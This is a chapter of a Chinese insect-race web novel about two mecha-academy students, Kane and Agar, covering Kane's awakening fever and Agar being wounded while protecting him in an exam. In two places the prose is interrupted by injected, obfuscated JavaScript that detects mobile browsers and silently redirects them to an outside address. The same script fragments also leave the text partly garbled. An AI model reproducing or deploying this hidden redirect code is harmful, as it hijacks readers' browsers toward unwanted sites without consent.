踏入凯恩房间的时候,似乎一切都显得有些安静。 “凯恩?”雌虫的声音有点干涩,他试探着再喊了一声。“凯恩,你还好吗?” 凯恩不是很好。 他听到了阿加尔的声音,无法做出什么回应,实际上他对此无比的懊恼,自己居然在这样的时刻发错了信息,可能还要让阿加尔看到自己狼狈不堪的样子! 也许是雄虫本身太过于在意自己的个虫形象,一想到他可能会被阿加尔俯视,看到自己满脸通红的扭曲样子,他就莫名觉得有点委屈。 这件事当然不怪阿加尔,甚至可以说是阿加尔踏入这种私密场合本身也意味着他对凯恩多有纵容。但凯恩还是觉得委屈。 - “打医务组。”凯恩吞咽一下,声音发哑。眼泪从脸颊上划过去,他眨眨眼睛,用力在被角上蹭了一下。 “不该让你来的,发错了。……帮我打医务组。” 这是一个脆弱的,无助的,还要强撑冷静地拒绝阿加尔的雄虫。 阿加尔似乎第一次感觉到凯恩看起来有种颇为年少的感觉。那些高深莫测看起来似乎只是幼稚小朋友的故作冷酷,而身为他的同学,他的求助方,他的暗恋者……好像也只能顺着他而已。 - “穿太少了。给你拿外套?”阿加尔走过去,半推半就把凯恩从床上浮起来,抓过柔软的枕头给他垫在背后。“别怕,医务组马上就来。” 紧急情况下的医务组来得很快。他们独处的时间过一秒少一秒了。 他扶住凯恩的肩膀,需要很强的意志力才能克制住自己不要低下头埋头进对方的颈窝。 - 凯恩在这种时候各方面感知都变得很敏感。 其实阿加尔不该留在这里的。觉醒期留在他身边的一般只有他的伴侣。雄虫在这种时候往往非常敏感,各种和日常不一样的情况都会让他们感到不舒服。 阿加尔不是他的伴侣。 当然也不是那种和他日日相处的熟悉雌虫。 理论上来说他应该退出门去等着凯恩被送走才对。 但凯恩不想让他走。 - 凯恩意识到了自己的想法。他靠着阿加尔的手臂往他的方向凑上去,阿加尔扶住他他就得寸进尺靠近他怀里,然后像什么小动物一样突然凑近阿加尔,用力深吸一口气。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285867|198432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 阿加尔的长发好像散开了,他能嗅到其中微妙的好闻的气息,这让他莫名有种安全感。 很糟糕,凯恩心想,也许这是阿加尔的气息。 普通的由于体温升高而散发出来的柔顺剂或者沐浴露气味应该达不到这种效果。 也许这是……阿加尔的信息素。 - 凯恩觉得自己无比卑劣。阿加尔和自己毫无关系,但在这样的情况下被他叫到身边,近似于偷窃地嗅闻他。 阿加尔知道吗?也许他知道,但也许他不知道。又或者只是怜惜这个倒霉的雄虫,所以装作什么都不知道,放任了眼前的一切。 凯恩没办法开口说,也不太想推开阿加尔。于是他深吸一口气,牵住阿加尔的手,像幼崽撒娇一样轻轻晃动。 这大概是某种本能反应,吃准了大部分雌虫会心软。对阿加尔当然也很有效果。 - “外套在衣柜。”凯恩说。 他一边这么说一边又不放手,弄得阿加尔实在是分身乏术。阿加尔被他困在床边,进退两难。 凯恩实在太会撒娇,而阿加尔原本就对他有超出正常分量的好感,自然也舍不得拒绝他的意思。 “嗯,不要外套。”他黏糊糊地发出鼻音,对阿加尔说着,又发出小动物嗅闻的声音。 昏暗的寝室,怀里发着高热的雄虫,灼热的气流打在阿加尔脸侧,阿加尔屏住呼吸,觉得这一切都是如在梦中。 - “你乖。”阿加尔说。 他听到了医疗组的声音,由远及近的脚步声与器械轻响。这让眼下的拥抱无比像什么偷情。 他不应该这样,不应该在这里,不应该让凯恩如此靠近自己。 不该在对方意识昏沉时,纵容自己这样跟他亲密接触。 - 他最终还是小心地挣开一点,起身去开衣柜。 打开衣柜拿外套的时候看到凯恩的贴身衣物。轻薄的衬衫垂落,淡淡的香气。冬季的厚袜子毛茸茸的,被整整齐齐卷起来放在一边,像一窝挤挤挨挨的小动物。 阿加尔觉得自己很坏。这种时候还有心思窥探凯恩的日常隐私。 但……也许这是唯一一次机会。他能如此靠近凯恩未被他虫窥见的生活痕迹。 他匆匆抽出一件外套,柜门在身后轻轻合拢,将那片刻的暴露关了回去。 仿佛关上了一扇不该打开的门。 - 太糟糕了,凯恩想,他从来没有想过自己会在阿加尔面前露出这样的一面。 虚弱无力的,神志不清的,麻烦的。 也许我和他们并无区别。他近乎自厌地想。那些被惯坏了的雄虫,那些只在意自己情绪、却总能轻易获得纵容的生物……如今自己这副模样,不也正是如此吗? 用高热作借口,用本能当理由,贪心地汲取着对方的体温与耐心。 他伸手环住阿加尔的脖子,在他垂落的发丝上轻轻碰了一下。 医疗组敲门进来,凯恩轻轻松开了手臂,仿佛刚才什么都没发生过。 他没有看阿加尔的表情。 也许是很像无意的触碰,但他知道不是。他清楚记得自己抬起头时的心情,记得嘴唇掠过发梢时,心脏那一下失重的跳动。 - 凯恩以为这件事会导致校园热议,但最后似乎并不如他所想。 也许是因为关于雄虫阁下的觉醒期是需要保密的隐私情况,连阿加尔被他叫去宿舍的事情都被完全隐去,几乎没有虫族知道。 又或许知道的虫族很多,但事关重大,规定足够严格,让所有知情者都默契地选择了沉默。 好像算不上什么好事,但似乎也是意料之中。 至于阿加尔,他们关系并没有更近,但也没有更疏远,仍然保持着其他虫族眼中见面总要冷淡交锋、态度针锋相对的“死对头”而已。 22. 22.实则不然。 凯恩正常地度过了他的觉醒期。在精神力相关课程中几乎再没有其他虫族能拿到像他一样高的分数。 而阿加尔所窥见的那隐秘的、外虫不可窥看的场景,也被他默默埋在了心底,只是偶尔回味片刻。 - 之后的日子里,阿加尔不止一次看见有虫向凯恩表白。 这种浪漫场景通常发生在训练场旁的树荫下,或是图书馆转角安静的走廊里。雌虫或亚雌们捧着精心准备的礼物,脸颊微红,将那些绯色的心意结结巴巴地摊开在凯恩面前。 凯恩总是表现得非常疏离。他会停下脚步,听完对方的话,然后微微颔首:“谢谢你的心意。但很遗憾,我没有这方面的计划。” 雄虫的拒绝是不需要理由的。他只需要干脆利索地表明这个事实就够了。 但这一切又显得如此理所当然。 仿佛凯恩天生就该是这样,遥远、清晰,不可触碰。 - 阿加尔偶尔也会想象一下,也许他也会和他们一样,把凯恩拦在某个他们都经常去的场所,训练室或者茶水间之类,然后也对他紧张地说出几句滚烫的表白。 但理智也告诉他,凯恩大约也只会给他一份礼貌的拒绝而已。 凯恩能那样轻易地拒绝那些光明正大的爱慕。 那自己这份藏在“死对头”表象下、沾染了意外而成的私密与混乱的心意,又凭什么能得到不同的对待? - 凯恩有非常多应对雌虫的经验,但这件事本身仍然会令他困扰。 比如为了礼貌他一般需要和雌虫认真对视,但他不太喜欢盯着雌虫们的脸看。雄虫感知过于敏锐,只是从他们面部肌肉里最细小的变动都能读出很多信息。 雌虫对雄虫的态度总是类似什么珍贵的易碎品,要么认为应该用保护罩给罩起来,要么认为应该用安保严密的仓库锁起来。而身为易碎品本身,凯恩不喜欢任何一种态度。 很难说他是想对什么具体的个体证明什么,因为具体的个体们态度总是细碎的。他面对的是某种已然存在却很难具体指出的潜意识。 - 这种时候,他偶尔会想起阿加尔。觉醒期爆发的时候雌虫在他脆弱无助的时候来到他身边,把他按在怀里。他做的事本质上其实非常少,但这种克制恰恰也让虫念念不舍。 阿加尔能得到他的另眼相待,大约是因为阿加尔对他也是个例外。 过度集中的注意力意味着大量的情感投入。凯恩早就对阿加尔在意上了,只是他自己认不清楚,只觉得是自己争强好胜的心理作祟。 - 凯恩和阿加尔再次交集是在月末考核。 机甲系学员的月度考核形式非常多样,有时候是类似小组合作评比的形式,有时候是常规的上机考核,也有时候会抽到类似排位积分的考核方式。 凯恩运气很糟糕,遇到了某个状态异常的变异星兽。 - 正常情况下凯恩远远躲开就行,但那东西状态明显不对。巨大的身躯不规则地颤动,蜷在阴影里,呼吸粗重又不规律。 不能惊动它。 以凯恩参与考核的机甲型号而言,惊动这种变异星兽的结果轻则直接考核结束,重则身受重伤。他毕竟是雄虫,选定机甲的时候不会选那种防御较高的沉重型号,攻击火力大概也不足以穿透它。 比起惊动眼前这头不稳定的怪物,他只能赌一把。赌自己能悄无声息地绕过去,赌星兽不会突然—— 就在这时,风变了。 - 兽爪在凯恩视野中急速放大。凯恩毕竟还是个经验不够丰富的学员,在这种每个瞬息都很急迫的紧要关头居然完全没有组织起任何有效操作。 时间仿佛被拉长。以雄虫的灵敏感官,凯恩能看清爪尖勾起的每一丝沙尘,本能推动操纵杆导致引擎过载的尖啸,但还差一点,仍然不够! 凯恩瞳孔骤缩。他能预感到下一秒金属撕裂、骨骼碎裂的触感。 但—— 一道黑影裹着突破音障的爆鸣,从侧后方悍然切入!那是阿加尔的机甲,机体前倾到几乎与地面平行,金属刮擦和引擎加速发出巨大的噪音。 雌虫使用的机甲型号造型看起来狂放得多,他没有丝毫减速,而是将整台机甲借助惯性凶悍地突入,迎上了星兽挥落的巨爪。 “——!!!” 撞击的巨响不是一声,而是一连串金属扭曲、碎裂、刮擦的混合嘶吼。火花如逆飞的暴雨般炸开,瞬间点亮了昏暗的场地。星兽的致命一击被撞得向上偏斜,利爪擦着凯恩机甲的护甲划过,留下三道深可见内层的炽热划痕。 凯恩在冲击之下踉跄着后退。透过纷扬的沙尘和尚未熄灭的电火花,他看见液体燃料正如同黑色的血液般喷溅出来。 - 考试结束了,阿加尔在一阵剧烈的疼痛里醒来。 似乎算不上很严重的伤,只是皮肉破损,影响他的活动。但伤口处似乎有什么毒素侵染,连雌虫的夸张恢复能力居然也没有恢复正常。 视线也模糊一片,他稍稍动一下就眼前发黑,甚至无法判断自己到底身在哪里。 - “别乱动。” 一个有点冷的声音在床边说。 阿加尔闭上眼睛,觉得可能是室内光线不合时宜。看来伤口的影响似乎比他想象中的还要严重一点。“麻烦关下灯,谢谢。” 直射灯光滴的一声被熄灭,窗口还拉着帘子,显得他们好像身处在什么阴暗的洞窟里。阿加尔缓了一会儿,重新睁开眼睛,这次看清楚了是凯恩的脸。 - 他莫名再次想到了之前他被凯恩召唤到雄虫单间宿舍的时候。当时雄虫穿着轻薄的家居服,双眼闭着,他心虚到不敢多看。 而此刻居然境地易转,他才是那个闭着眼睛的病虫,而睁开眼身边的唯一一个虫族居然是凯恩。 “眼睛不舒服吗?”凯恩问他。“帮你揉一下?” 如果说这句话的不是凯恩的话阿加尔会欣然答应,但说这句的是凯恩,阿加尔没多想就摇了摇头。 揉按眼周确实能缓解那种异常感,但雄虫的手掌直接接触他脸上,他没办法控制住自己不露出那种失态的表情。 - 阿加尔的绿眼睛看起来迷迷蒙蒙的。他抬起眼和凯恩对视的时候像什么小动物,肌肉绷紧又放松。 “我……” 一阵尖锐而带着麻痹感的疼痛从破开的皮肉处滚过去。 这个伤口时时刻刻提示着他自己的举动意味着什么。 但他一点也不后悔。如果这样的伤口放在凯恩身上,而他居然只是旁观却没有做出些什么措施的话,他一定会非常后悔。 至少这一切是由他承受的。 - 凯恩坐在他身边,椅子的高度稍微有点矮,因为坐在这个位置的往往是高大的雌虫,对雄虫而言就有点不合适。 他皱着眉头和阿加尔对视,看起来神情凝重,一副马上就会哭出来的样子。 真有意思,阿加尔想,他是在害怕吗? 害怕自己受到的伤太过严重,或者是害怕自己会因为这个伤口对他改变态度。 - “您怎么在这里。”阿加尔声音沙哑地开口。 他和凯恩好像不应该是这种一个住院,另一个陪床的关系。 “……看看你。” 凯恩说得轻描淡写,仿佛这么做是理所当然的一件事。 “我没事。”阿加尔说。 在凯恩说完话之后阿加尔差点就要对他示弱,描述那种灼烧般的让雌虫眼前发黑的痛感。但话到嘴边又停了,换成了一句干瘪的没什么实际意义的客套话。 毕竟他们之间似乎不是那种可以讨论此种话题的关系。 - “嗯。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285868|198432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雌虫胸口起起伏伏。 其实是在忍耐剧烈的疼痛。但凯恩毕竟是他的心上虫,他并不愿意在他面前表现的自己好像很狼狈一样。 他这么做是希望凯恩觉得自己可靠,而不是在这样的时刻,这样的环境里成为对方的负担。 漂亮的绿色眼睛像被水洗过一样,他脸色绷得很紧,没有明显的表情。但实际上他已经痛得感官模糊,看不清也听不清了。 - “以后会留疤,对吗?” 阿加尔听到凯恩的声音,似乎离得很远,近似有一种缥缈的感觉。 其实雌虫并不在意身上的疤痕。 至少阿加尔不在意。 除非他们婚后被伴侣要求,比如伴侣认为这道伤痕会不够美观,影响他们的心情之类,否则也不会对身体上的痕迹做出什么处理。 况且即使留下了一道痕迹,这仍然算不上什么危及生命的伤,所以应该也不算严重。 - 以后会发生什么呢?阿加尔也不知道。 他想象了一下,或许以后会面对一个面容模糊的雄虫,带着厌恶或者鄙视看他的身体,并且对这道痕迹评头论足……好恐怖。 于是他深深吸了一口气,把这个念头从脑海中驱散而去。 在那一天到来之前,还是没必要提前担心了。 他不如想象一下他和凯恩在一起,然后凯恩抚摸着他皮肤上留下来的痕迹,和他一起回忆他们一起曾经度过的日子。 那些针锋相对的,耳鬓厮磨的,尖锐的,温和的,只有他们双方知道的内容。 “没关系。以后再担心吧。” - 这是在说什么,凯恩想。 简直有点暧昧。 阿加尔因为凯恩留下这样一道疤痕,留在他自己的身体上,并且不打算让它消除掉。 那么阿加尔洗澡的时候或者换衣服的时候,低头看到这一小块颜色偏浅的皮肤,会不会想到这位……在那个时候只是同级同学关系的雄虫? 凯恩不由自主的脸红。 - “吓坏了吗?” 凯恩没说什么,阿加尔就自己说下去。原本沙哑的声音多说几句似乎也恢复了正常。 “这次确实很意外。肯定有虫会乱说,你不要介意就好。” 他当然知道关于学校匿名论坛里关于自己和凯恩关系的种种猜测。 但他不确定凯恩是不是知道这些,知道之后会不会介意,还是和他一样一笑了之。 - “你说晚了,我已经去看过了。”凯恩看一眼终端,兴致不高,随手往旁边一扔。 “别生气,他们什么都不知道。”阿加尔居然这样说。 “我生气什么?”凯恩说。“我在月度考核里兴致大发,对年级第一欲行不轨,年级第一半推半就,合二为一,就这样度过了风流快活的一晚。” “真是虫生赢家。羡慕吗?” - 还是生气了,阿加尔有点遗憾地想。并且他还看得很仔细,对其中的某些内容记得如此清晰。 虽然他自己觉得这样的设定很不错,甚至还顺着凯恩的话想象了一下。如果那是真的的话就好了。 暗恋的雄虫对自己有那种占有欲,想要探索彼此,拥有彼此,即使只是特殊环境之下冲动的一晚……无论如何也算不上一件坏事。 但这样……太冒犯了。 “很抱歉给您带来这样的困扰。”他保证。说。“我会按时处理这件事,请您不要生气。” - “你打算怎么处理。封他们号?”凯恩淡淡地说。 是又不高兴了吗? “我会发声明,解释月度考核发生了什么,解释我们之间没有关系……没有他们想象的关系。” “……不用了。”凯恩似乎有些兴致缺缺。“我怎么可能计较这些。”